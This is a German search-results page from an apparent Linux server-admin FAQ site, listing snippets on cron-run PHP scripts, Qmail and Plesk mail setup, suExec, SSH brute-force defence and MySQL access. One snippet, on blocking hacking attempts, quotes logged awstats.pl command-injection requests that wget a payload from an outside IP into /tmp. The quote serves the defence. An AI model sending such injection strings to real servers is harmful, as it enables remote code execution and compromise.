Volltextsuche
101 Suchergebnisse
Seite 2 von 7 Seiten
- Scripting:
PHP-Scripte auf der Commandozeile / per Cron ausführenProblem: Manche Dinge (Newsletter-Versand, Datenbank-Aktionen, etc.) will man gerne Zeitgesteuert starten. Andere Funktionen möchte man aus Sicherheitsgründen ausserhalb des Web-DocumentRoots verstecken. Oder man will auch Scripte - Mail-Server » Qmail:
Plesk/Qmail: Email-Adress an ein Server-Script knüpfenProblem: Evtl. möchte man eine Email durch ein Script laufen lassen. Gründe gibt es viele: z.B. Bounce-Filter im Newsletter-Versand, spezieller Viren-/Spamfilter, Web-Inhalte per Email schicken, etc. Lösung: (Bsp. - Mail-Server:
PHP-Mail-Script bringt "Data Format Error"Problem:Ein PHP-Script welches eine Email verschicken soll funktioniert nicht.Im Maillog findet sich der Eintrag: sendmail[12160]: i3FBpPk1012160: to="bla@huschi.net" , ctladdr=apache (48/48), delay=00:00:00, xdelay=00:00:00, mailer=relay, pri=30263, relay=[127.0.0.1] [127.0.0.1], - Web-Server:
PHP4 & PHP5 gleichzeitig laufen lassenHier muß ich ausnahmsweise auf ein Howto verlinken: [HowTo] PHP4/PHP5 als CGI - gepatcht (deutsches HowTo) - Web-Server:
suExec/suExec2 neu compilierenProblem: Z.B. bei einem Update von Apache wurde die suexec (suexec2) durch die von Apache mitgelieferte suexec (suexec2) ersetzt.Danach funktioniert kein CGI-Script mehr, weil die neue - Security & Firewalls:
Hacking-Versuche unterbindenProblem: Es wird ständig versucht den Server zu hacken. Z.B. über's Web (es wird aber jeweils ein 404 ausgelöst): "GET /awstats/awstats.pl?configdir=|echo;echo%20YYY;cd%20%2ftmp%3bwget%20216%2e55%2e168%2e25%2fkillop%[...] "GET /cgi-bin/awstats.pl?configdir=|echo;echo%20YYY;cd%20%2ftmp%3bwget%20216%2e55%2e168%2e25%2fkillop%[...] "GET /cgi-bin/awstats/awstats.pl?configdir=|echo;echo%20YYY;cd%20%2ftmp%3bwget%20216%2e55%2e168%2e25%2 "POST /xmlrpc.php HTTP/1.1" "POST /blog/xmlrpc.php HTTP/1.1" "POST - Security & Firewalls:
SSH-BruteForce-Attacken eindämmenProblem: In den Logfiles stehen ständig Misslungene Einbruchsversuche auf dem SSH-Port. Lösungen: a) SSH-Port verlegen: in sshd_config den Parameter Port oder ListenAddress setzen. b) Per PAM-Modul: pam_abl c) Per - Web-Server:
Apache-VirtualHost vollständig unter verschiedenen BenutzernProblem: Scripte werden (je nach Installation) unter anderen Benutzerrechten gestartet als z.B. der FTP-Benuzter. Z.B. PHP-Scripte als wwwrun. Lösung: Dies kann man entweder mit suExec oder suPHP - Scripting:
Perl: life with CPANProblem: Warum soll man sich schon wieder mit einem neuen Packet-System anfreunden, nur um irgendein Perl-Script zum laufen zu bringen... :( Erklärung: CPAN heißt Comprehensive Perl Archive Network - Datenbank-Server:
MySQL für externen Zugriff konfigurierenProblem: Auf die MySQL-Datenbank soll nicht nur vom localhost per Script oder phpMyAdmin zugegriffen werden, sondern auch von extern. Z.B. weil man einen eigenen MySQL-Client nutzt, - Mail-Server » Qmail:
Plesk & Qmail: Spamprotection mit GreylistingWas macht greylist? Greylisting ist eine effektive Methode zur Spam-Protection. Es block jede Email beim ersten Versuch. Erst wenn diese Email ein zweites Mal eingeliefert werden - Scripting:
Links: PHP-/CGI-Script-ArchivePHP-Scripte: phpfinder.de hotscripts.com kostenlose-scripts.de Perl-Scripte: perlscripts.de kostenlose-scripts.de - Allgemeinwissen » Linux-Links:
Nützliche Links zu Emails und Spam.Spam: spamid.net: Hier wird der Email-Header nach einem möglichen Verursacher durchsucht. Zusätzlich kann man sich noch die RIPE-Informationen des ugehörigen Netzwerks anzeigen lassen.SpamAssassin Configuration Generator: Hier - Mail-Server » Qmail:
Plesk: Spamassassin und ClamAV per qsheff einbindenDas Orginal stammt aus dem Server-Support-Forum: V-Server Strato Spamassassin + ClamAV HowTo mit Qsheff (Ich veröffentliche es mit freundlicher Genemigung des Autors Dennis Hoofe.Verbessert mit Hilfe vom - Mail-Server:
Fetchmail: "Server-CommonName stimmt nicht überein"Problem:Im Logfile /var/log/fetchmail taucht immer wieder folgender Fehler auf:fetchmail: Server-CommonName stimmt nicht überein: mx.freenet.de != pop3.freenet.de Erklärung:Fetchmail ist offenbar standardmässig auf SSL konfiguriert. D.h. er versucht